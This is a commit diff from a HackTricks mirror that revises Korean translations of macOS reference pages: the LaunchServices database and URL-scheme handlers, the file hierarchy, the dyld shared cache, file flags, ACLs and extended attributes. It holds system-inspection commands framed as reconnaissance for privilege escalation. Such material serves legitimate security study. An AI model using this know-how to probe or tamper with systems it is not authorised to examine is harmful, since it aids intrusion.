mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
2993659bfa
commit
d8daf9486d
6 changed files with 389 additions and 238 deletions
|
@ -155,7 +155,7 @@
|
|||
* [macOS Bundles](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md)
|
||||
* [macOS Installers Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md)
|
||||
* [macOS Memory Dumping](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md)
|
||||
* [macOS Sensitive Locations](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
||||
* [macOS Sensitive Locations & Interesting Daemons](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
||||
* [macOS Universal binaries & Mach-O Format](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)
|
||||
* [macOS Objective-C](macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md)
|
||||
* [macOS Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md)
|
||||
|
@ -188,6 +188,7 @@
|
|||
* [macOS Office Sandbox Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md)
|
||||
* [macOS SIP](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md)
|
||||
* [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md)
|
||||
* [macOS Apple Events](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-events.md)
|
||||
* [macOS TCC Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md)
|
||||
* [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md)
|
||||
* [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
|
||||
|
|
|
@ -1,33 +1,55 @@
|
|||
# macOS 파일 확장자 및 URL 스킴 앱 핸들러
|
||||
# macOS 파일 확장자 및 URL scheme 앱 핸들러
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
## 파일 확장자 및 URL 스킴 앱 핸들러
|
||||
## LaunchServices 데이터베이스
|
||||
|
||||
다음 줄은 확장자에 따라 파일을 열 수 있는 애플리케이션을 찾는 데 유용할 수 있습니다:
|
||||
macOS에 설치된 모든 애플리케이션의 데이터베이스로, 각 설치된 애플리케이션에 대한 정보를 얻을 수 있는 쿼리할 수 있는 URL schemes 및 MIME 유형과 같은 정보를 얻을 수 있습니다.
|
||||
|
||||
다음 명령을 사용하여 이 데이터베이스를 덤프할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
또는 [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) 도구를 사용할 수 있습니다.
|
||||
|
||||
**`/usr/libexec/lsd`**는 데이터베이스의 핵심입니다. `.lsd.installation`, `.lsd.open`, `.lsd.openurl` 등과 같은 **여러 XPC 서비스**를 제공합니다. 그러나 또한 애플리케이션에 일부 **권한이 필요**하며, 이를 통해 노출된 XPC 기능을 사용할 수 있습니다. `.launchservices.changedefaulthandler` 또는 `.launchservices.changeurlschemehandler`와 같은 기능을 사용하여 mime 유형이나 URL 스키마에 대한 기본 앱을 변경하거나 기타 작업을 수행할 수 있습니다.
|
||||
|
||||
**`/System/Library/CoreServices/launchservicesd`**는 서비스 `com.apple.coreservices.launchservicesd`를 요청하며 실행 중인 애플리케이션에 대한 정보를 얻을 수 있습니다. 시스템 도구인 /**`usr/bin/lsappinfo`** 또는 [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html)을 사용하여 조회할 수 있습니다.
|
||||
|
||||
## 파일 확장자 및 URL 스키마 앱 핸들러
|
||||
|
||||
다음 라인은 확장자에 따라 파일을 열 수 있는 애플리케이션을 찾는 데 유용할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
|
||||
```
|
||||
또는 [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps)와 같은 것을 사용하세요:
|
||||
{% endcode %}
|
||||
|
||||
또는 [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps)와 같은 것을 사용할 수 있습니다:
|
||||
```bash
|
||||
./swda getSchemes #Get all the available schemes
|
||||
./swda getApps #Get all the apps declared
|
||||
./swda getUTIs #Get all the UTIs
|
||||
./swda getHandler --URL ftp #Get ftp handler
|
||||
```
|
||||
다음 명령을 사용하여 응용 프로그램이 지원하는 확장자를 확인할 수도 있습니다:
|
||||
당신은 또한 다음을 수행하여 응용 프로그램에서 지원하는 확장자를 확인할 수 있습니다:
|
||||
```
|
||||
cd /Applications/Safari.app/Contents
|
||||
grep -A3 CFBundleTypeExtensions Info.plist | grep string
|
||||
|
@ -61,14 +83,14 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,45 +2,45 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 파일 계층 구조
|
||||
|
||||
* **/Applications**: 설치된 앱이 여기에 있어야 합니다. 모든 사용자가 액세스할 수 있습니다.
|
||||
* **/Applications**: 설치된 앱은 여기에 있어야 합니다. 모든 사용자가 액세스할 수 있습니다.
|
||||
* **/bin**: 명령 줄 이진 파일
|
||||
* **/cores**: 코어 덤프를 저장하는 데 사용됩니다.
|
||||
* **/dev**: 모든 것이 파일로 처리되므로 하드웨어 장치가 여기에 저장될 수 있습니다.
|
||||
* **/etc**: 구성 파일
|
||||
* **/Library**: 여기에는 환경 설정, 캐시 및 로그와 관련된 많은 하위 디렉터리 및 파일이 있습니다. 루트 및 각 사용자 디렉터리에 Library 폴더가 있습니다.
|
||||
* **/Library**: 많은 하위 디렉토리와 환경설정, 캐시 및 로그와 관련된 파일이 여기에 있습니다. 루트 및 각 사용자 디렉토리에 Library 폴더가 있습니다.
|
||||
* **/private**: 문서화되지 않았지만 언급된 많은 폴더가 private 디렉토리로의 심볼릭 링크입니다.
|
||||
* **/sbin**: 필수 시스템 이진 파일 (관리와 관련)
|
||||
* **/System**: OS X를 실행하기 위한 파일입니다. 여기에는 주로 Apple 특정 파일만 있어야 합니다 (제3자 파일이 아님).
|
||||
* **/tmp**: 파일은 3일 후에 삭제됩니다 (/private/tmp로의 소프트 링크)
|
||||
* **/Users**: 사용자의 홈 디렉터리입니다.
|
||||
* **/Users**: 사용자의 홈 디렉토리입니다.
|
||||
* **/usr**: 구성 및 시스템 이진 파일
|
||||
* **/var**: 로그 파일
|
||||
* **/Volumes**: 마운트된 드라이브가 여기에 나타납니다.
|
||||
* **/.vol**: `stat a.txt`를 실행하면 `16777223 7545753 -rw-r--r-- 1 username wheel ...`와 같은 내용을 얻을 수 있습니다. 여기서 첫 번째 숫자는 파일이 존재하는 볼륨의 ID 번호이고 두 번째 숫자는 inode 번호입니다. 이 정보를 사용하여 `cat /.vol/16777223/7545753`를 실행하여 이 파일의 내용에 액세스할 수 있습니다.
|
||||
* **/Volumes**: 마운트된 드라이브는 여기에 나타납니다.
|
||||
* **/.vol**: `stat a.txt`를 실행하면 `16777223 7545753 -rw-r--r-- 1 username wheel ...`과 같은 내용을 얻을 수 있습니다. 여기서 첫 번째 숫자는 파일이 존재하는 볼륨의 ID 번호이고 두 번째 숫자는 inode 번호입니다. 이 정보를 사용하여 `cat /.vol/16777223/7545753`를 실행하여 이 파일의 내용에 액세스할 수 있습니다.
|
||||
|
||||
### 애플리케이션 폴더
|
||||
|
||||
* **시스템 애플리케이션**은 `/System/Applications`에 위치합니다.
|
||||
* **설치된** 애플리케이션은 일반적으로 `/Applications` 또는 `~/Applications`에 설치됩니다.
|
||||
* **애플리케이션 데이터**는 루트로 실행되는 애플리케이션의 경우 `/Library/Application Support`에서 찾을 수 있으며 사용자로 실행되는 애플리케이션의 경우 `~/Library/Application Support`에 있습니다.
|
||||
* **애플리케이션 데이터**는 루트로 실행되는 애플리케이션의 경우 `/Library/Application Support`에, 사용자로 실행되는 애플리케이션의 경우 `~/Library/Application Support`에 있을 수 있습니다.
|
||||
* **루트로 실행해야 하는** 제3자 애플리케이션 **데몬**은 일반적으로 `/Library/PrivilegedHelperTools/`에 위치합니다.
|
||||
* **샌드박스** 앱은 `~/Library/Containers` 폴더로 매핑됩니다. 각 앱은 애플리케이션 번들 ID에 따라 이름이 지정된 폴더를 가지고 있습니다 (`com.apple.Safari`).
|
||||
* **커널**은 `/System/Library/Kernels/kernel`에 있습니다.
|
||||
* **Apple의 커널 확장**은 `/System/Library/Extensions`에 있습니다.
|
||||
* **애플의 커널 확장**은 `/System/Library/Extensions`에 있습니다.
|
||||
* **제3자 커널 확장**은 `/Library/Extensions`에 저장됩니다.
|
||||
|
||||
### 민감한 정보가 포함된 파일
|
||||
|
@ -60,37 +60,38 @@ MacOS는 비밀번호와 같은 정보를 여러 위치에 저장합니다:
|
|||
## OS X 특정 확장자
|
||||
|
||||
* **`.dmg`**: Apple 디스크 이미지 파일은 설치 프로그램에서 매우 빈번하게 사용됩니다.
|
||||
* **`.kext`**: 특정 구조를 따라야 하며 드라이버의 OS X 버전입니다. (번들입니다)
|
||||
* **`.kext`**: 특정 구조를 따라야 하며, 드라이버의 OS X 버전입니다. (번들입니다)
|
||||
* **`.plist`**: XML 또는 이진 형식으로 정보를 저장하는 속성 목록으로도 알려져 있습니다.
|
||||
* XML 또는 이진 형식일 수 있습니다. 이진 파일은 다음과 같이 읽을 수 있습니다:
|
||||
* XML 또는 이진 형식일 수 있습니다. 이진 형식은 다음과 같이 읽을 수 있습니다:
|
||||
* `defaults read config.plist`
|
||||
* `/usr/libexec/PlistBuddy -c print config.plsit`
|
||||
* `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
|
||||
* `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* **`.app`**: 디렉터리 구조를 따르는 Apple 애플리케이션 (번들입니다).
|
||||
* **`.app`**: 디렉토리 구조를 따르는 Apple 애플리케이션 (번들입니다).
|
||||
* **`.dylib`**: 동적 라이브러리 (Windows DLL 파일과 유사)
|
||||
* **`.pkg`**: xar (eXtensible Archive 형식)와 동일합니다. installer 명령을 사용하여 이러한 파일의 내용을 설치할 수 있습니다.
|
||||
* **`.pkg`**: xar (eXtensible Archive 형식)와 동일합니다. 이러한 파일의 내용을 설치하려면 installer 명령을 사용할 수 있습니다.
|
||||
* **`.DS_Store`**: 각 디렉토리에 있는 이 파일은 디렉토리의 속성과 사용자 정의를 저장합니다.
|
||||
* **`.Spotlight-V100`**: 이 폴더는 시스템의 모든 볼륨의 루트 디렉토리에 나타납니다.
|
||||
* **`.metadata_never_index`**: 이 파일이 볼륨의 루트에 있으면 Spotlight는 해당 볼륨을 색인화하지 않습니다.
|
||||
* **`.noindex`**: 이 확장자가 있는 파일 및 폴더는 Spotlight에 의해 색인화되지 않습니다.
|
||||
* **`.sdef`**: 번들 내부의 파일로, AppleScript를 통해 애플리케이션과 상호 작용하는 방법을 지정합니다.
|
||||
|
||||
### macOS 번들
|
||||
|
||||
번들은 **Finder의 객체처럼 보이는 디렉터리**입니다 (예: `*.app` 파일).
|
||||
번들은 **Finder의 객체처럼 보이는 디렉토리**입니다 (예: `*.app` 파일).
|
||||
|
||||
{% content-ref url="macos-bundles.md" %}
|
||||
[macos-bundles.md](macos-bundles.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dyld Shared Cache
|
||||
## Dyld 공유 캐시
|
||||
|
||||
macOS (및 iOS)에서 모든 시스템 공유 라이브러리, 프레임워크 및 dylib와 같은 파일은 **단일 파일인** dyld 공유 캐시로 **결합**됩니다. 이렇게 하면 코드를 더 빨리 로드할 수 있어 성능이 향상됩니다.
|
||||
macOS (및 iOS)에서 모든 시스템 공유 라이브러리, 프레임워크 및 dylib와 같은 파일은 **dyld 공유 캐시**라는 단일 파일로 **결합**됩니다. 이렇게 하면 코드를 더 빨리 로드할 수 있어 성능이 향상됩니다.
|
||||
|
||||
dyld 공유 캐시와 유사하게, 커널 및 커널 확장도 부팅 시간에 로드되는 커널 캐시로 컴파일됩니다.
|
||||
|
||||
단일 파일 dylib 공유 캐시에서 라이브러리를 추출하려면 이제는 작동하지 않을 수 있는 이진 [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip)을 사용할 수 있었지만 [**dyldextractor**](https://github.com/arandomdev/dyldextractor)를 사용할 수도 있습니다:
|
||||
단일 파일 dylib 공유 캐시에서 라이브러리를 추출하려면 이전에 사용 가능했던 이진 파일 [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip)을 사용할 수 있었지만 현재는 작동하지 않을 수 있습니다. 대신 [**dyldextractor**](https://github.com/arandomdev/dyldextractor)를 사용할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -112,70 +113,70 @@ iOS에서는 **`/System/Library/Caches/com.apple.dyld/`**에서 찾을 수 있
|
|||
`dyld_shared_cache_util` 도구가 작동하지 않더라도 **공유 dyld 이진 파일을 Hopper에 전달**하여 Hopper가 모든 라이브러리를 식별하고 **조사하려는 라이브러리를 선택**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (680).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1149).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 특별한 파일 권한
|
||||
|
||||
### 폴더 권한
|
||||
|
||||
**폴더**에서 **읽기**는 **목록을 보여주는 것**을 허용하고, **쓰기**는 **파일을 삭제하고 쓰는 것**을 허용하며, **실행**은 **디렉토리를 통과하는 것**을 허용합니다. 예를 들어, 사용자가 **실행 권한이 없는 디렉토리** 안에 있는 **파일을 읽을 수 없습니다**.
|
||||
**폴더**에서 **읽기**는 **목록을 보는 것**을 허용하고, **쓰기**는 **삭제** 및 **파일에 쓰기**를 허용하며, **실행**은 **디렉터리를 횡단**하는 것을 허용합니다. 예를 들어, 사용자가 **실행 권한이 없는** 디렉토리 내의 파일을 **읽을 수 없습니다**.
|
||||
|
||||
### 플래그 수정자
|
||||
|
||||
파일에 설정할 수 있는 일부 플래그가 있으며, 파일의 동작을 다르게 만들 수 있습니다. `ls -lO /경로/디렉토리`로 디렉토리 내의 파일의 플래그를 확인할 수 있습니다.
|
||||
파일에 설정할 수 있는 일부 플래그가 있으며 파일의 동작을 다르게 만들 수 있습니다. `ls -lO /경로/디렉토리`로 디렉토리 내의 파일의 플래그를 확인할 수 있습니다.
|
||||
|
||||
* **`uchg`**: **uchange** 플래그는 **파일을 변경하거나 삭제하는 모든 작업을 방지**합니다. 이를 설정하려면: `chflags uchg file.txt`
|
||||
* **`uchg`**: **uchange** 플래그로 알려진 것은 **파일을 변경하거나 삭제하는 모든 작업을 방지**합니다. 이를 설정하려면: `chflags uchg file.txt`
|
||||
* 루트 사용자는 **플래그를 제거**하고 파일을 수정할 수 있습니다.
|
||||
* **`restricted`**: 이 플래그는 파일을 **SIP로 보호**합니다(이 플래그를 파일에 추가할 수 없습니다).
|
||||
* **`Sticky bit`**: Sticky bit가 있는 디렉토리의 경우, **디렉토리 소유자 또는 루트만 파일 이름을 바꾸거나 삭제**할 수 있습니다. 일반적으로 이것은 /tmp 디렉토리에 설정되어 있어 일반 사용자가 다른 사용자의 파일을 삭제하거나 이동하는 것을 방지합니다.
|
||||
* **`Sticky bit`**: Sticky bit가 있는 디렉토리의 경우 **디렉토리 소유자 또는 루트만 파일 이름을 바꾸거나 삭제**할 수 있습니다. 일반적으로 이것은 /tmp 디렉토리에 설정되어 일반 사용자가 다른 사용자의 파일을 삭제하거나 이동하는 것을 방지합니다.
|
||||
|
||||
모든 플래그는 파일 `sys/stat.h`에서 찾을 수 있으며(`mdfind stat.h | grep stat.h`를 사용하여 찾을 수 있음) 다음과 같습니다:
|
||||
|
||||
* `UF_SETTABLE` 0x0000ffff: 소유자 변경 가능한 플래그 마스크.
|
||||
* `UF_NODUMP` 0x00000001: 파일을 덤프하지 마십시오.
|
||||
* `UF_IMMUTABLE` 0x00000002: 파일을 변경할 수 없습니다.
|
||||
* `UF_APPEND` 0x00000004: 파일에 쓸 때는 항상 추가합니다.
|
||||
* `UF_OPAQUE` 0x00000008: 연합에 대해 디렉토리가 불투명합니다.
|
||||
* `UF_COMPRESSED` 0x00000020: 파일이 압축되어 있습니다(일부 파일 시스템).
|
||||
* `UF_TRACKED` 0x00000040: 이 플래그가 설정된 파일에 대해 삭제/이름 바꾸기에 대한 알림이 없습니다.
|
||||
* `UF_DATAVAULT` 0x00000080: 읽기 및 쓰기에 대한 권한이 필요합니다.
|
||||
* `UF_HIDDEN` 0x00008000: 이 항목이 GUI에 표시되지 않아야 함을 나타냅니다.
|
||||
* `UF_IMMUTABLE` 0x00000002: 파일을 변경할 수 없음.
|
||||
* `UF_APPEND` 0x00000004: 파일에 쓰기는 추가만 허용됩니다.
|
||||
* `UF_OPAQUE` 0x00000008: 디렉터리는 연합에 대해 불투명합니다.
|
||||
* `UF_COMPRESSED` 0x00000020: 파일이 압축됨(일부 파일 시스템).
|
||||
* `UF_TRACKED` 0x00000040: 이 플래그가 설정된 파일에 대해 삭제/이름 바꾸기에 대한 알림이 없음.
|
||||
* `UF_DATAVAULT` 0x00000080: 읽기 및 쓰기에 대한 권한이 필요함.
|
||||
* `UF_HIDDEN` 0x00008000: 이 항목이 GUI에 표시되지 않아야 함을 나타냄.
|
||||
* `SF_SUPPORTED` 0x009f0000: 슈퍼 사용자가 지원하는 플래그 마스크.
|
||||
* `SF_SETTABLE` 0x3fff0000: 슈퍼 사용자가 변경할 수 있는 플래그 마스크.
|
||||
* `SF_SETTABLE` 0x3fff0000: 슈퍼 사용자 변경 가능한 플래그 마스크.
|
||||
* `SF_SYNTHETIC` 0xc0000000: 시스템 읽기 전용 합성 플래그 마스크.
|
||||
* `SF_ARCHIVED` 0x00010000: 파일이 보관됨.
|
||||
* `SF_IMMUTABLE` 0x00020000: 파일을 변경할 수 없습니다.
|
||||
* `SF_APPEND` 0x00040000: 파일에 쓸 때는 항상 추가합니다.
|
||||
* `SF_RESTRICTED` 0x00080000: 쓰기에 대한 권한이 필요합니다.
|
||||
* `SF_NOUNLINK` 0x00100000: 항목을 제거하거나 이름을 바꾸거나 마운트할 수 없습니다.
|
||||
* `SF_FIRMLINK` 0x00800000: 파일이 firmlink입니다.
|
||||
* `SF_DATALESS` 0x40000000: 파일이 데이터가 없는 객체입니다.
|
||||
* `SF_IMMUTABLE` 0x00020000: 파일을 변경할 수 없음.
|
||||
* `SF_APPEND` 0x00040000: 파일에 쓰기는 추가만 허용됩니다.
|
||||
* `SF_RESTRICTED` 0x00080000: 쓰기에 대한 권한이 필요함.
|
||||
* `SF_NOUNLINK` 0x00100000: 항목을 제거, 이름 바꾸기 또는 마운트할 수 없음.
|
||||
* `SF_FIRMLINK` 0x00800000: 파일이 firmlink임.
|
||||
* `SF_DATALESS` 0x40000000: 파일이 데이터 없는 객체임.
|
||||
|
||||
### **파일 ACLs**
|
||||
|
||||
파일 **ACLs**에는 다른 사용자에게 **더 세분화된 권한**을 할당할 수 있는 **ACE**(접근 제어 항목)가 포함되어 있습니다.
|
||||
|
||||
**디렉토리**에는 다음 권한을 부여할 수 있습니다: `목록`, `검색`, `파일 추가`, `하위 디렉토리 추가`, `하위 항목 삭제`, `하위 항목 삭제`.\
|
||||
**파일**에는 다음을 할 수 있습니다: `읽기`, `쓰기`, `추가`, `실행`.
|
||||
**디렉토리**에는 `목록`, `검색`, `파일 추가`, `하위 디렉토리 추가`, `하위 항목 삭제`, `하위 항목 삭제`와 같은 권한을 부여할 수 있습니다.\
|
||||
**파일**에는 `읽기`, `쓰기`, `추가`, `실행`이 있습니다.
|
||||
|
||||
파일에 ACL이 포함되어 있으면 권한을 나열할 때 **"+"**를 찾을 수 있습니다.
|
||||
```bash
|
||||
ls -ld Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
```
|
||||
파일의 **ACL을 읽을 수 있습니다**.
|
||||
파일의 **ACLs를 읽을 수 있습니다**.
|
||||
```bash
|
||||
ls -lde Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
0: group:everyone deny delete
|
||||
```
|
||||
모든 파일을 ACL로 찾을 수 있습니다 (이 작업은 아주 느립니다):
|
||||
**모든 ACL이 있는 파일을 찾을 수 있습니다** (이 작업은 아주 느립니다):
|
||||
```bash
|
||||
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
||||
```
|
||||
### 확장 속성
|
||||
|
||||
확장 속성은 이름과 원하는 값이 포함되어 있으며, `ls -@`를 사용하여 볼 수 있으며 `xattr` 명령을 사용하여 조작할 수 있습니다. 일반적인 확장 속성은 다음과 같습니다:
|
||||
확장 속성은 이름과 원하는 값이 포함되어 있으며 `ls -@`를 사용하여 볼 수 있으며 `xattr` 명령을 사용하여 조작할 수 있습니다. 일반적인 확장 속성은 다음과 같습니다:
|
||||
|
||||
- `com.apple.resourceFork`: 리소스 포크 호환성. `filename/..namedfork/rsrc`로도 볼 수 있음
|
||||
- `com.apple.quarantine`: MacOS: Gatekeeper 격리 메커니즘 (III/6)
|
||||
|
@ -183,17 +184,17 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
|||
- `com.apple.lastuseddate` (#PS): 마지막 파일 사용 날짜
|
||||
- `com.apple.FinderInfo`: MacOS: Finder 정보 (예: 색 태그)
|
||||
- `com.apple.TextEncoding`: ASCII 텍스트 파일의 텍스트 인코딩 지정
|
||||
- `com.apple.logd.metadata`: `/var/db/diagnostics`의 파일에서 logd에서 사용됨
|
||||
- `com.apple.genstore.*`: 세대 저장소 (`/.DocumentRevisions-V100`는 파일 시스템 루트에 있음)
|
||||
- `com.apple.rootless`: MacOS: 시스템 무결성 보호에 의해 파일에 레이블 지정에 사용됨 (III/10)
|
||||
- `com.apple.uuidb.boot-uuid`: 고유 UUID로 부팅 시대를 표시하는 logd 표시
|
||||
- `com.apple.logd.metadata`: `/var/db/diagnostics`의 파일에서 logd가 사용
|
||||
- `com.apple.genstore.*`: 세대 저장소 (`/.DocumentRevisions-V100` 파일 시스템 루트에 위치)
|
||||
- `com.apple.rootless`: MacOS: 시스템 무결성 보호에 의해 파일 레이블 지정에 사용 (III/10)
|
||||
- `com.apple.uuidb.boot-uuid`: 고유 UUID로 부팅 시대의 logd 표시
|
||||
- `com.apple.decmpfs`: MacOS: 투명 파일 압축 (II/7)
|
||||
